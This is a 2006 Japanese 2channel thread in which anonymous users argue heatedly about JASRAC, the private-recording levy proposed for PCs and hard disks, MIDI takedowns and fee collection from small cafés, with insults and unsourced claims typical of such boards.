著作権侵害の上に成り立つ文化なんで、お隣の国で十分だよ。


508 :名無しさん@6周年:2006/05/22(月) 01:15:01 ID:bzeoxA1e0
これさ、もしも採用になったとしても
CD−Rみたく「データ用HDD」「音楽用HDD(保証金入り)」って分けて販売になるんじゃね?
一回も買った事ないけど、音楽用CD−Rって高くなってんだよね?

メーカー製のPCに採用されたらどうすることも出来ないけど


509 :名無しさん@6周年:2006/05/22(月) 01:18:48 ID:h0/tylgP0
>>506
MIDI自体は文化じゃなく、単なる音を鳴らすシステムに過ぎない。
自分の金はどう使おうと自分の勝手。
「営業時間ベース」から相当因果関係のある範囲で換算しているのだから問題ない。
営業規模の小さなジャズ喫茶だからこそ侵害行為の認識が不足している。


あれっみんな間違ってないじゃんww


510 :名無しさん@6周年:2006/05/22(月) 01:19:30 ID:3xxsK8UK0
>>505

>JASRAC音楽振興のために何やってるの?
>音楽に寄生ばかりかな?

Webによるオンライン利用申し込みを可能にしたのも、
公衆送信(インタラクティブ配信)の約款化をしたのも、
世界中の著作権管理団体で初ではないかな?
(ちょっと自信ないので、違ってたら失礼)

あとは、別にJASRACである必要はないんだけど、
着うたやiTMSなどの大量の音楽配信サービスは、
著作権の一括管理団体がなければ無理だったと思う。

511 :名無しさん@6周年:2006/05/22(月) 01:24:10 ID:3xxsK8UK0
>>509
>自分の金はどう使おうと自分の勝手。

それはちょっとまずい。

512 :名無しさん@6周年:2006/05/22(月) 01:25:30 ID:3atT1C4u0
擁護してる人は、古賀財団問題だけは華麗にスルーするんですね(w
不思議不思議

513 :名無しさん@6周年:2006/05/22(月) 01:29:14 ID:unhAEouR0
>>510
それは嘘。
直接交渉してインディーズ系集めて配信して
いる所もあるよ。

別に管理楽曲でも、ある程度管理体制が集約され
ていればいいわけで、カスラックの様な独占団体で
ある必然性は何もないよ。


514 :名無しさん@6周年:2006/05/22(月) 01:34:09 ID:qJkH8x4P0
>>494-495
遅くなったが、ありがとう。

>補償金を徴収する側にとっては見分けがつきませんので、
>みんなまとめて比例配分ですよ。
この制度は時代に即してないな
コンテンツそのものに一部複製権とその対価を付与するなり
許諾用の窓口を設けるなりして利用者と無関係者を分けない限り公平とは言い難い。

515 :名無しさん@6周年:2006/05/22(月) 01:40:20 ID:3atT1C4u0
>>とりあえず、ネット上のMIDIデータ検索システムを大金突っ込んで
>>MIDIデータ公開してるヤツに片っ端から警告送って料金徴収、
>>日本でのMIDI文化を壊滅させた手柄がありますね。
>
>もともと著作権侵害だったんだから、壊滅でよいのでは?

著作権著作権と錦の御旗のように言うわけですが、
著作権とは(少なくとも日本国内においては)「国内文化の保護」を
立法時の方便としている以上、それを阻害するような過剰な適用は
法の精神を逸脱した乱用だと思うわけでですよ。

楽器手にしたら、曲を弾きたくなる。
曲が引けりゃ、誰かに聞いてもらいたくなる。
こりゃあたりまえの「文化的」行為なわけですが、
MIDI関連においては「全部黒!手前ら死刑!」つって
圧殺したわけですよ。しかも、当事者との議論なぞ一切無し。

過ぎたる保護が文化を殺す、って実例だと思うんですが、
そのへんを鑑みて手心を加えたりは……少なくともこの件では、しなかったわけですね。

別にJASRACの行為全てを否定するわけじゃないんですが、
にしても「国内文化の保護」の理念に沿った活動がまるで見えないのは
どーしたもんかと。完全に国家権力気取り、法の番人気取りじゃないですか。
(ついでに役員の給料も国家公務員レベルですよね。そこに文句いう人も少ない。これまた不思議。)

一財団の下部機関ごときが、その振る舞いはどーなのよ、と。

516 :名無しさん@6周年:2006/05/22(月) 01:47:57 ID:TIxUuNWd0
JASRAC の他は、著作権管理事業者として「e-License」などもあるが、
登録の状況としてはどうなんだろうね?


517 :名無しさん@6周年:2006/05/22(月) 01:52:51 ID:cxiVOG210
ところで「補償金」ってなんに対する補償なのよ?

518 :名無しさん@6周年:2006/05/22(月) 01:55:53 ID:3xxsK8UK0
>>516
圧倒的なシェアを抑えているJASRACとは比べものにならないと思います。

519 :名無しさん@6周年:2006/05/22(月) 01:57:11 ID:KUN2RRb30
>>518
そのシェアが、己の才覚ではなく既得権益によって確保されているのは問題だなw

520 :名無しさん@6周年:2006/05/22(月) 01:57:16 ID:RUC5bxO90
>にしても「国内文化の保護」の理念に沿った活動がまるで見えないのは
>どーしたもんかと。完全に国家権力気取り、法の番人気取りじゃないですか。


それはお前の思い込み。JASRACのHPを読めよ。

521 :名無しさん@6周年:2006/05/22(月) 01:58:34 ID:hM3M7d3X0
で、何のために課金されるのよ、これ
関係者こたえろよ

522 :名無しさん@6周年:2006/05/22(月) 02:01:54 ID:KiP07r8q0
なんかダニみたいな搾取団体だな

523 :名無しさん@6周年:2006/05/22(月) 02:05:14 ID:xW7kysgv0
>「iPodだけでなくパソコンも含め,私的録音への
>対応を考えたい。パソコンはオーディオ専門機ではないが,音楽配信サービスの
>利用実態に着目して補償金の対象としたい」

これは音楽配信サービスに寄生してお金をぼったくろうとする作戦ですね

524 :名無しさん@6周年:2006/05/22(月) 02:06:43 ID:3atT1C4u0
>>520
JASRACがどう言っているか、どんな看板を上げているかは
あんまり問題じゃないでしょう。「なにしてるか」が問題。
以下はほんの些細な例ですが

ttp://d.hatena.ne.jp/maemuki/20040706

個人経営の店に、突然
「「飲食店で、ライブや、歌声喫茶をやるためには、包括契約というのが必要で
 音楽活動をはじめたときにさかのぼって支払わないと、法的手段に出る。」
という文面を送りつけるのは、普通「恫喝」って言いませんかね。
過去に訴求して請求、って段階で「国内文化の保護」を考えてるとは思えんわけですが、さらに

>結局有馬さんは歌声喫茶を開催していた18ヶ月間(やらなかった月も含む)×規定により
>月額9000円(有馬さんによると歌声喫茶は月一回、客単価850円くらい。動員は5名〜25名)

実際に演奏もしてない月の料金を徴収する、ってのは官憲でもやらないと思うんですが。

>>完全に国家権力気取り、法の番人気取りじゃないですか。
>
>それはお前の思い込み。

まだそういいます?

525 :名無しさん@6周年:2006/05/22(月) 02:07:06 ID:3xxsK8UK0
>>515
>どーしたもんかと。完全に国家権力気取り、法の番人気取りじゃないですか。

そんなことないと思う。
JASRACの行為は常に私権の行使であり、公権発動の真似事はしてないですから。

526 :名無しさん@6周年:2006/05/22(月) 02:08:57 ID:3atT1C4u0
>>525
前後してるけど>524

527 :名無しさん@6周年:2006/05/22(月) 02:11:19 ID:3xxsK8UK0
>>524

「完全に国家権力気取り、法の番人気取りじゃないですか」に反論されて、今度は
「官憲でもやらないと思うんですが」というのは論理矛盾ではないか?


528 :名無しさん@6周年:2006/05/22(月) 02:12:43 ID:unhAEouR0
揚げ足取りなら馬鹿でも出来る訳で。
まともに議論する気がないならいいけどね。

529 :名無しさん@6周年:2006/05/22(月) 02:16:56 ID:3atT1C4u0
>>527
官憲でもやらない横暴、と読めないほどに知性が磨耗してるんでしょうか。

530 :名無しさん@6周年:2006/05/22(月) 02:18:19 ID:3xxsK8UK0
>>524

で、続きなんですけど。

>結局有馬さんは歌声喫茶を開催していた18ヶ月間(やらなかった月も含む)×規定により月額9000円
>(有馬さんによると歌声喫茶は月一回、客単価850円くらい。動員は5名〜25名)を払ったとのこと。

これを読む限り、「やらなかった月」についてまで払ったのは有馬氏の自発的行為に見えますが。
もちろん、受け取った側のJASRACは「やらなかった月」が含まれているか判別のつきようがないですし。

531 :名無しさん@6周年:2006/05/22(月) 02:21:19 ID:3xxsK8UK0
>>528

>揚げ足取りなら馬鹿でも出来る訳で。
>まともに議論する気がないならいいけどね。

しかし、JASRAC叩きレスをする奴に対しては、
こういう言葉を投げかけない二重基準。

532 :名無しさん@6周年:2006/05/22(月) 02:22:15 ID:xQCknKntO
「私的録音補償金」って何よ。
いつのまにかこっそり名前変えたのか?
私的録音なら補償金いらないだろ?
デジタル録音補償金だろ。
デジタル録音は複製防止技術が発達して来てるんだから今後は縮小の方向だろ。

533 :名無しさん@6周年:2006/05/22(月) 02:27:08 ID:FafOPnk+0
3xxsK8UK0は何を言いたいの?結局


534 :名無しさん@6周年:2006/05/22(月) 02:27:44 ID:3xxsK8UK0
>>529

>「私的録音補償金」って何よ。
>いつのまにかこっそり名前変えたのか?

前から同じ言葉です。

>私的録音なら補償金いらないだろ?

昔はそうだったんですが、デジタル録音の場合、著作権者に損失が出るのではないか
という議論が出てきたんで、私的録音であることは従来と同じように認めつつ、
録音をした者には補償金を支払う義務を負わせるようにしたんですね。

まあ、パソコンへの補償金課金は私的録音補償金制度の趣旨を逸脱していて
問題ありだと思います。

535 :名無しさん@6周年:2006/05/22(月) 02:29:45 ID:xQCknKntO
名前すり替えたの誰だ?
吊し上げろ。
ごく最近の出来ごとだろうな。
ついこの前までデジタル録音補償金って言ってたよな。

536 :名無しさん@6周年:2006/05/22(月) 02:33:19 ID:c9wNAkUX0
しまいには耳をそぎ落とされかねんな

537 :名無しさん@6周年:2006/05/22(月) 02:33:53 ID:3atT1C4u0
>>530
ちょっとは頭使おうよ。払う側がなんで「自発的に」金だすかね(w
片言の揚げ足取りばっかりで、話題そらしに終始するつもりですか?

ttp://blog.livedoor.jp/jasrac1/archives/5712309.html
>1999年、前述のいきさつにより、付則14条が撤廃された際、
>施行令付則3条も削除されております。JAZZ喫茶音楽喫茶が
>一般飲食店より高額支払い枠におかれる根拠はこれ以後法的には
>存在しません。JASRACが徴収規定を勝手に決めて、文化庁が
>認可を出してるということに過ぎません。
?文化庁が認可を出せば何でもOKになるシステム自体がバカげています。
>JASRACと文化庁は利害関係にあるのですから、国は第三者組織による
>ちゃんとしたチェック機能をこの間に置くべきです。置いてないから
>こんな理不尽がまかり通っているのです

……で、補足すると
JASRACって文化庁文部省の天下り先で、
年収3000万オーバー&1年半で退職金がプラス1000万オーバーの祝儀も
当然のような顔してつくわけですが、そのお金はこーいう徴収の仕方で捻出されてるわけですよね。

かなり悪質なマッチポンプだと思うんですが、どーなんですか。

538 :名無しさん@6周年:2006/05/22(月) 02:37:54 ID:3xxsK8UK0
>>537

>JASRACって文化庁文部省の天下り先で、
>年収3000万オーバー&1年半で退職金がプラス1000万オーバーの祝儀も
>当然のような顔してつくわけですが、そのお金はこーいう徴収の仕方で捻出されてるわけですよね。

「こーいう徴収」の仕方で捻出された金ってのは、全体収入のうちのどの程度の割合なんでしょうね。

>かなり悪質なマッチポンプだと思うんですが、どーなんですか。

ところで、話題そらしですか?

539 :名無しさん@6周年:2006/05/22(月) 02:39:11 ID:3atT1C4u0
>>538
年20億円ほどですよね。

ソースは>>433

540 :名無しさん@6周年:2006/05/22(月) 02:39:24 ID:3eOnse8+0
JASRAC幹部乙。

541 :名無しさん@6周年:2006/05/22(月) 02:39:51 ID:iPLJZZEt0
>>415にはレスが一つもなかったのか。

>>515
>楽器手にしたら、曲を弾きたくなる。
>曲が引けりゃ、誰かに聞いてもらいたくなる。

それは禁止されてないでしょ。
俺は普通にMIDIやらなんやら使って曲作って、普通に友人知人に聞いてもらって「どう?」って感想聞いたりしてたし
俺の周りにはそんな人、たくさんいたよ。

MIDIの件で色々文句を言う人は多いし、気持ちはわからなくもないんだけど
webサイト上に公開するってことは全世界に向けて発信することとほぼ同義だ、ってことをちょっとは考えてもよいのでは。

仲間内に公開するのと、世界(ちょっと大袈裟だけどw)に向かって公開するのじゃ、
求められる責任が違うのも当然ではないかと。

だいたい、このMIDIの件って別に「JASRACが無かったらやっても構わない」って話しではないと思いますよ。

>>524
この手の話ってよくでるんだけど、「JASRAC管理曲を使っていない」というkとおで払わずに済ませた人もいますよ。
残念ながらソースが無いですが。

あと、JASRACから「払え」って言われたのでBGMを使うのをやめた、という店舗も知ってます。
そこは別に「使っていなかったことを証明しろ」なんて言われてないそうだけど・・・。

ちなみにどっちの例もBGMとしての使用なんで歌声喫茶とは違いますけどね。
店でライブやって、それが営業の一つのウリになってるならそれなりの対価を払うのも当然なんじゃないかと思いますけどね。

「絶対払わん!」ってなら、包括契約を結ばず個別に使用楽曲のリストを作り提出すればよかったわけで。
払うべきであるというルールがあるのだから、このような商売を始める上でそういうことを知っておくことが経営者には求められると思いますよ。

どんな業界でもこれは当然のことだと思うのですがね。

542 :名無しさん@6周年:2006/05/22(月) 02:42:07 ID:3xxsK8UK0
>>539

一般会計見ても、わかりませんよ。

543 :名無しさん@6周年:2006/05/22(月) 02:44:48 ID:xQCknKntO
>534
両方あったのか?
なんで私的なのに→デジタル〜
防止技術発達して来てるだろ→私的〜
名前の通りが悪くなるとニュースで使う言葉を切り換えるのか。

544 :名無しさん@6周年:2006/05/22(月) 02:45:04 ID:3atT1C4u0
>>541
そのへんの理念はわかるし、JASRACと同等の機能を果たすべき団体が必要、ってのも当然。
ただ、JASRACが果たして公平公正に機能してんのかよ?って話でね。
上げてる例はいずれも各論だが、JASRACの機能不全と腐敗を示す証左だと思う。

>>542
おまい小学生か?(w
つ 信託会計

545 :名無しさん@6周年:2006/05/22(月) 02:45:36 ID:3xxsK8UK0
>>541

>だいたい、このMIDIの件って別に「JASRACが無かったらやっても構わない」って話しではないと思いますよ。

思いますよ、じゃなくて、ちゃんと断定してください。

546 :名無しさん@6周年:2006/05/22(月) 02:47:54 ID:3eOnse8+0
ttp://www.watch.impress.co.jp/av/docs/20060517/jasrac.htm
目的が徴収料を増やすことになってませんか?

547 :名無しさん@6周年:2006/05/22(月) 02:49:18 ID:3xxsK8UK0
>>544

>おまい小学生か?(w
>つ 信託会計

「ソースは>>433」とあるから、>>433を見たら一般会計の話だったので。
ちなみに、>>537の「こーいう徴収」が何を指しているかを考えれば、
信託会計を見てもわかりません。


548 :名無しさん@6周年:2006/05/22(月) 02:50:42 ID:3atT1C4u0
>>546
ワロタ(w

>国際的な水準である70年

おいおいじいさん、ちょっと前まで国際水準(つーかアメ公基準だよな)は50年だったじゃんよ。
ディズニー関連が期限切れになる、つーんで慌てて70年に延長にした
尻馬にのって「国際的な水準である70年」ってwwwwwおまwwww

>中国からの著作権収入も大幅に増加し、一昨年は約100万円だったが、2005年度には630万まで拡大

拡大とかいうなやこんな端数。

549 :名無しさん@6周年:2006/05/22(月) 02:52:48 ID:3atT1C4u0
>>547
わかんないならわかんなくていいよ(w
君の教師じゃないですから〜

550 :名無しさん@6周年:2006/05/22(月) 02:56:47 ID:3xxsK8UK0
>>548
70年を採用してるのはアメリカだけではないです。
もうちょっと勉強したほうがいいのでは?

>>549
いいかげんに、自分の誤りを認めたほうが。

551 :名無しさん@6周年:2006/05/22(月) 02:58:30 ID:iPLJZZEt0
>>544
よりよい著作権管理団体に登場してほしい、JASRACにはよりよい著作権管理団体であってほしい、というのには同意ですよ。
JASRACは徴収の面ではそれほど不公平じゃなく、とれるところからはとろうという姿勢でやってるように思います。

>>545
何か特定の例をあげてるわけじゃないんで断定しにくいんですが
他人の著作物で権利が切れていないものを著作者など権利を持つものに無断でwebサイト上にアップするのは違法ですよ。

JASARC管理曲だろうがそうでなかろうが。

権利者の許可を得ている場合、権利者が「ご自由にどうぞ」と言っている場合などは別ですが。

ちなみにダウンロードのほうは明確に「違法」とはされていない、という解釈をする人が多いです。
法律のなかに「ダウンロードしちゃダメ」と明記はされていないので。

実際の法律の運用を見てもアップロードはダメだけど、ダウンロードのみで逮捕された人ってのは確かいなかったはずです。

552 :名無しさん@6周年:2006/05/22(月) 03:01:28 ID:3xxsK8UK0
>>551

>ちなみにダウンロードのほうは明確に「違法」とはされていない、という解釈をする人が多いです。

私もそういう解釈してます。

もう3時なので、寝よう。おやすみ。


553 :名無しさん@6周年:2006/05/22(月) 03:09:56 ID:3atT1C4u0
>>541
んー。そこが微妙で。
「とれるところからはとろうという姿勢」が「それほど不公平じゃな」い、とは感じないですよぶっちゃけ。
より正確に言うなら、
△とれるところからはとろうという姿勢
〇とりにくいところは後回し、という姿勢
ですよね。

>>548でも出てるけど、
コピー天国の中国での著作権侵害は日本とはケタ外れなわけですが、
「とりにくい」という理由で事実上まるっきり手をつけてないわけでしょ。
(それを取り繕うために「100万円から630万円まで拡大」とか書かせてる
 やり口がまた反吐がでる。たしか、別のソースだと「6倍」とだけ書いてた
 のもあったはずで、もうなにをかいわんや)
その一方で、個人経営店とかMIDIみたいな草の根を刈ることばっかり熱心になってちゃ、
市井の視点で「公正」とはとうてい思えんですよ。

加えて組織自体の不透明さもあるわけで。。。

554 :名無しさん@6周年:2006/05/22(月) 03:47:44 ID:jg6gJQqx0
>>551
>JASRACは徴収の面ではそれほど不公平じゃなく、

↑と↓

>とれるところからはとろうという姿勢でやってるように思います。


微妙に矛盾してないか?
「公平に取る」なら「取れるところから取る」のではなく「誰からも平等に使用分を取る」
にならないといけない。

それにカスが包括徴収してるなら、それはカス非管理曲の分まで徴収してるという事にも
繋がるわけで、本来はカスや他団体に登録してるかどうかは関係なく徴収した著作料の
配分をしないとまずいと思うのだが。

555 :名無しさん@6周年:2006/05/22(月) 03:53:44 ID:iPLJZZEt0
>>553
国際的なことってよくわからないんですが中国を例に出すのってどうなんでしょ。
あそこって確かほとんど著作権という意識がなかったような。
女子十二楽坊か何かがもめてたりしてましたよね。

あの国はもはや「とりやすい」とか「とりにくい」というレベルを超越しているような気がします。
そりゃとれたほうが公平だろうけど、さすがのJASRACがどれだけ頑張ってもとてもかなわない相手のような。

>>554
とれりところからはじゃんじゃんとっていって、最終的にはすべての「とれるところ」から取り付くそう、という姿勢なのでは。
それって公平といっていいんじゃないかと思いますよ。

さすがの集金マシーンJASRACといえども組織としての力には限界があるわけで
一気にすべての「とれるところ」からお金を公平に集めよう、ってのは不可能なのではないかと思います。

時期にズレが生じるのはこういった組織である以上、ある程度しょうがないのではないかなと。

ああ、そうか、だから「過去に遡って」って話しになるのかなw
これが通れば徴収の時期がずれることによる不公平を少し減らせますからね。

良い事なのやらなんなのやら、よくわからなくなってきますがw

556 :名無しさん@6周年:2006/05/22(月) 04:19:13 ID:YST9iE2a0
デジタルは音がイイとか言う事が、補償金徴収の名目になっていたり
したけど、CD-Rへまるまるコピーするのはともかく、MP3やAAC等の
不可逆劣化音源を使う再生機に課金するのは論理破綻だね。

不可逆劣化ファイルは、ちっともいい音じゃないんだから。


557 :名無しさん@6周年:2006/05/22(月) 04:35:25 ID:zrntzGs70
もしパソコンも対象になったら、
コンポで聞いてる俺としては、
音楽CD500枚をnyに流すよ。


558 :名無しさん@6周年:2006/05/22(月) 04:37:32 ID:kUhXHAwh0
もう日本には帰らないことに決めた。
さよなら祖国

559 :名無しさん@6周年:2006/05/22(月) 14:06:52 ID:I+QY9lZy0
そのうち脳も私的録音補償金の対象機器にされそうだ


560 :名無しさん@6周年:2006/05/22(月) 14:13:56 ID:yD8f/ar20
カスラックはそのうち鼻歌にも課金するぜ。
銭ゲバカスラックは潰れろ。

561 :名無しさん@6周年:2006/05/22(月) 14:19:52 ID:lnqtMicY0
音楽ファイルの中身を、16進表記でノートかなんかに鉛筆で全部書き出すのも録音行為と言われそうだ。

562 :名無しさん@6周年:2006/05/22(月) 14:30:33 ID:uFU3emDH0
早く紙コップと針にも課金しろや

563 :名無しさん@6周年:2006/05/22(月) 14:47:31 ID:HcWN73OT0
こんなの絶対通らないよ。
もし通ったらみんな一人一万ずつ出して裁判しようぜ。



564 :名無しさん@6周年:2006/05/22(月) 14:49:01 ID:r9jMyPRu0
NHKと同じぐらいうざいな。

565 :名無しさん@6周年:2006/05/22(月) 14:54:31 ID:1Fc8RHBR0
パソコンの場合、少ないとは思うが音楽に使ってない人間だっているだろ


566 :名無しさん@6周年:2006/05/22(月) 21:19:07 ID:YapxbEyE0
>憂楽帳:文化の守護神?
> カラオケ酒場やジャズ喫茶が日本音楽著作権協会に支払う著作権使用料は、
>権利者にどう分配されているのか。小倉のジャズバーの主人に尋ねたら
>「そんな資料、一度も見せられたことがない」と怒っていた。

(中略)

> 協会は本当に音楽文化を守ろうとしているのか。協会を守ろうとしているだけではないのか
>−−使用料規定のあいまいさや収支の不透明さをめぐって、疑問の声が渦巻いている。【戸嶋誠司】

>毎日新聞 2006年5月22日 西部夕刊

http://www.mainichi-msn.co.jp/eye/yuuraku/news/20060522ddg041070006000c.html

最近、カスラック叩きの記事が僅かながら見られるようになったのは何かの前触れなのだろうか?
思えばマスコミもPCやHDに課金されると経費かさむものな…。
紙媒体ならJASRACにあまり縁が無さそうだし、もっとバシバシ叩いて欲しい。

567 :名無しさん@6周年:2006/05/22(月) 21:39:25 ID:xWJ61cSo0
>>565
事業所の端末はほぼ、音楽鑑賞には使われないな。(名目上だが)
個人所有と事業所にある分は実際にはどのくらいの比率だろう。

しかも、俺に限って言えば、全部で3台持っているPCの内、
音楽を聴くPCは1台のみで、あとは書類作成用と携帯用途だ。
音楽を再生する能力がある、というだけ。

HDDユニットで言えば、データ用に5・6台あるが、
その中に音楽データが入っているモノは1台のみ。
そういうヤツ多いんじゃない?

今後世に出回るであろう、データストレージのどの程度の割合に
音楽データ、もしくは著作権に関わるデータが保管されるか知らないが、
5割以下ならば暴挙としか思えない。

568 :名無しさん@6周年:2006/05/22(月) 21:47:25 ID:6ljoQKxu0
CD-Rは音楽を焼くことのみに使うわけではないが
音楽を焼くことが「できる」ので一旦、補償金を徴収し、
音楽を焼くのに使わなければ返還する。

HDDも同様。PCに音声出力が無くても
HDDに音楽ファイルを置くことが「できる」ので一旦、補償金を徴収し、
音楽を焼くのに使わなければ返還する。

ということなんだろうね。全くもって馬鹿らしいが。
しかもHDDなんか過去からこれからの未来において一度も音楽ファイルを
置いたことが無い、置くことが無いことを証明したら補償金を返還します。
ということになるのだろうな。証明不可能。

569 :名無しさん@6周年:2006/05/22(月) 21:49:21 ID:hjxsoi/Q0
こういうみなし課金とかみなし課税はいい加減にやめてもらいたい

570 :名無しさん@6周年:2006/05/22(月) 22:02:06 ID:4ucdj2dw0
>>566
罵詈雑言ってヤクザですかね?ひでえな。
工作員が見たら、そんな強行なことをさせる
店主が悪いとか言い出すぜあいつら。

571 :名無しさん@6周年:2006/05/22(月) 22:04:15 ID:u+in6HFB0
>>568

音楽を焼くのに使わなければ返還する。

       ↓

実際に返還しても大した額にならんから誰もやらへんて。
塵山ウマー


572 :名無しさん@6周年:2006/05/22(月) 23:03:57 ID:H4J05v4x0
>>571
まえ誰か嫌がらせに返還請求してたやついたよな。
CDR1枚あたり数円なんだけと、返還手続き郵送費用が数百・数千円だかかかっててわらた。
皆で返還請求するとジャスラックすぐつぶせるな

573 :名無しさん@6周年:2006/05/22(月) 23:08:07 ID:BWXSgmfFO
でもウィニーでの音楽ダウンロードがオッケーになるなら
安いもんじゃない?

574 :名無しさん@6周年:2006/05/22(月) 23:08:13 ID:iPLJZZEt0
>>572
JASRACでは無いと思う。

575 :名無しさん@6周年:2006/05/23(火) 00:00:41 ID:wVdiHCiu0
iPod税

2005年4月28日に行われた文化庁文化審議会著作権分科会法制問題小委員会では
iPodなどMP3プレーヤーに対して課金を迫っている(いわゆるiPod税)。

だが、こういったプレーヤーを所有しているユーザーは正規に音楽CDを入手したり
MP3を購入している為に「著作権料を2度も渡すことになる」と審議に参加している議員からの
反対や消費者からの批判が強く、更には著作権料の配分の不透明さがある為に
審議が進まずに結局は2005年9月以降まで先送りされている。

http://ja.wikipedia.org/wiki/%E6%97%A5%E6%9C%AC%E9%9F%B3%E6%A5%BD%E8%91%97%E4%BD%9C%E6%A8%A9%E5%8D%94%E4%BC%9A#iPod.E7.A8.8E

576 :名無しさん@6周年:2006/05/23(火) 00:08:46 ID:xlF2nb/F0
↓出しゃばりサラ痰が一言

577 :名無しさん@6周年:2006/05/23(火) 00:12:39 ID:VUDxo4/20
ジャスラックを監視する団体を作った方がいいな

578 :名無しさん@6周年:2006/05/23(火) 00:13:00 ID:18TrYLPM0
>>575
その後(今年2月)の文化審議会著作権分科会では
「補償金制度の廃止も視野に入れて制度そのものを見直すべきといった反対意見も出た」
「録音や録画を行なわない購入者からも強制的に一律に課金することになり、
課金対象を無制限に拡大することにつながるといった反対意見が多数であった」
http://internet.watch.impress.co.jp/cda/news/2006/01/12/10466.html

579 :名無しさん@6周年:2006/05/23(火) 00:15:20 ID:1cvKeJ220
もう人頭税みたいに課金したらどうだ?カスラックwww

580 :名無しさん@6周年:2006/05/23(火) 00:15:44 ID:XTZyvJ/O0
記憶に課金ぐらいまで行きそうだなカスラック

581 :名無しさん@6周年:2006/05/23(火) 00:20:53 ID:uGwsqmuz0
うちの息子の合掌コンクールで歌謡曲うたってたが
これも課金ありか?

屑ラック、足元に著作権料ばらまいてやるから金取りこいや。

582 :名無しさん@6周年:2006/05/23(火) 00:21:08 ID:Au1XWU/f0
私的利用は完全に合法なのに、なんで課金しなきゃいけないの?
カスラック潰れろよ糞が。

583 :名無しさん@6周年:2006/05/23(火) 00:22:35 ID:B+TGUACh0
>>581
どこに取りに行ったらよい?

584 :名無しさん@6周年:2006/05/23(火) 00:25:46 ID:TaxyE0Yr0
>>582
定期的無知馬鹿乙

585 :名無しさん@6周年:2006/05/23(火) 00:28:40 ID:1j9C2dJN0
音楽の衰退の原因はどうもカスラックにあると見た!

586 :名無しさん@6周年:2006/05/23(火) 00:31:15 ID:Au1XWU/f0
>>584
はぁ?
なに言ってんのお前?基地外?

587 :名無しさん@6周年:2006/05/23(火) 00:33:35 ID:TaxyE0Yr0
>>586
おにぃちゃん、なに顔真っ赤にしているの?

588 :名無しさん@6周年:2006/05/23(火) 00:35:19 ID:Ii8ypbdrO
さあ、たかしくんの為に皆でハッピーバースデー歌いましょ。
ハッピー…
ピン〜ポン、ジャスラックです…

589 :名無しさん@6周年:2006/05/23(火) 00:35:30 ID:nshZ3iP20
>>581
著作権料を計算し、申請して、徴収してもらう。


払う方が計算・申請するシステム。 ww

これだけでも、なんだそりゃな団体ですわ。
当然取りに来てくれるわけはない。

それで発覚すると、訴えてくる。非道すぎ。

590 :名無しさん@6周年:2006/05/23(火) 00:37:20 ID:Kpszme+Q0
前回異議を唱えた委員をあらかじめ外してあるらしいな、今回の審議会メンバー

591 :名無しさん@6周年:2006/05/23(火) 00:37:36 ID:0t7URzdX0
絶対カスラックのバッグに政治家とか絡んでるよなぁ。
じゃなきゃこんな勝手な制度通るわけがない。
デモなりなんなり、いずれはこいつらと戦わなきゃいけないと思う。

592 :名無しさん@6周年:2006/05/23(火) 00:38:22 ID:TaxyE0Yr0
>>590
前回のメンバーのほとんどはお猿さんだったらしい

593 :名無しさん@6周年:2006/05/23(火) 00:41:31 ID:t5TY5sKn0
これはひどい

594 :名無しさん@6周年:2006/05/23(火) 00:41:37 ID:wVdiHCiu0

公正取引委員会に告発してみるのもひとつの手かと。
http://www.jftc.go.jp/profile/madoguchi.htm

595 :名無しさん@6周年:2006/05/23(火) 01:11:58 ID:54U/F59u0
偉そうに著作権を語っといてアレンジレンジに金賞とかやってんじゃねーよ
カスラックは早々にくたばれ

596 :名無しさん@6周年:2006/05/23(火) 01:18:15 ID:5VbQlbqo0
つうか、偉そうな事言うなら、編曲者にも著作権を
主張させてやれよ。力関係利用して買い取りを
強要するんじゃなくてさ(藁

597 :名無しさん@6周年:2006/05/23(火) 01:26:48 ID:fimgAWmO0
>>567
>>568
仮に音楽用にしてもCD所有してるなら私的複製の範囲になるんじゃまいか。
まあ確かに音楽データなんてHDD毎には入れないな。

598 :名無しさん@6周年:2006/05/23(火) 01:27:53 ID:tEjoJ8Z30
そのうち、携帯にも課金しだすぞ。
もっとそのうち、机や椅子にも課金しだすぞ。
もっともっとそのうち、茶碗や皿にも課金しだすぞ。
もっともっともっとそのうち、人間の脳にも課金しだすぞ。

599 :名無しさん@6周年:2006/05/23(火) 01:32:14 ID:fimgAWmO0
>>572
企業の場合「個人情報保護」の名目の有るのでCDにしてもHDDにしてもデータを送りつけるのは事実上不可。
でも使ってないので返還請求という形はできるかもね。
というかやって当然のレベル。

個人で送りつけるとしても、
送る時は相手の着払い(郵便は紛失破損の可能性があるので宅急便)、
こちらが受け取る時は着払い拒否(郵便は紛失の可能性があるので宅急便)、
万一HDDが輸送時破損したらその時点でカスに賠償
くらいはやってもバチは当らないだろうと思う。

本来は全くやる必要のない手間と時間を取られるのだから。

600 :名無しさん@6周年:2006/05/23(火) 01:46:05 ID:Kpszme+Q0
鼻歌も演奏に該当する行為だから課金する、とか言い出しかねんなこいつら

601 :名無しさん@6周年:2006/05/23(火) 05:15:05 ID:+q145nKl0
相変わらずカスラックは意味わかんねーな。
この団体出来てからCD一切買わなくなった。
全部レンタルで済ますか友達に借りてるよ。

602 :名無しさん@6周年:2006/05/23(火) 05:23:41 ID:iFhV8qxG0
海外のCD輸入禁止にして
今度はPCに課金?

こいつら音楽を食い物にしてるな。

603 : :2006/05/23(火) 05:25:10 ID:/XALuNyG0
JASRACがバカなのは、サウンドボードから徴収すると言えばいいのに
ハードディスクから徴収すると言ったところだろうな。w

604 :名無しさん@6周年:2006/05/23(火) 05:25:43 ID:BdR9g25B0
金集めることしか考えてないから、しょうがないw

605 :名無しさん@6周年:2006/05/23(火) 05:28:34 ID:bZ8CtAR20
そんなに金集めて何に使ってるの?それをまず明らかにしろよ

606 :名無しさん@6周年:2006/05/23(火) 05:31:22 ID:BdR9g25B0
理事長や役員のロマネコンティになります><;

607 :名無しさん@6周年:2006/05/23(火) 05:31:58 ID:4B1FbcIZ0
サウンドボードを入れていない俺の自作マシンからも金とるの????

ビープ音しかしねぇよ! これも著作権発生してんのか!

608 :名無しさん@6周年:2006/05/23(火) 08:58:20 ID:s4m2StTV0
>>599
>企業の場合「個人情報保護」の名目の有るのでCDにしてもHDDにしてもデータを送りつけるのは事実上不可。
送りつける前に「機密保持契約書」を交わせばいい。

なお、補償金取ってるのはJASRACじゃなくてsarahだけど、どっちも潰せということで。

609 :名無しさん@6周年:2006/05/23(火) 09:16:09 ID:056ATCfk0
ttp://plusd.itmedia.co.jp/lifestyle/articles/0505/16/news020.html
配分は、こんな感じ。

610 :名無しさん@6周年:2006/05/23(火) 09:54:45 ID:xtriKqE40
共通目的事業への支出 20%
JASRAC 28.8%
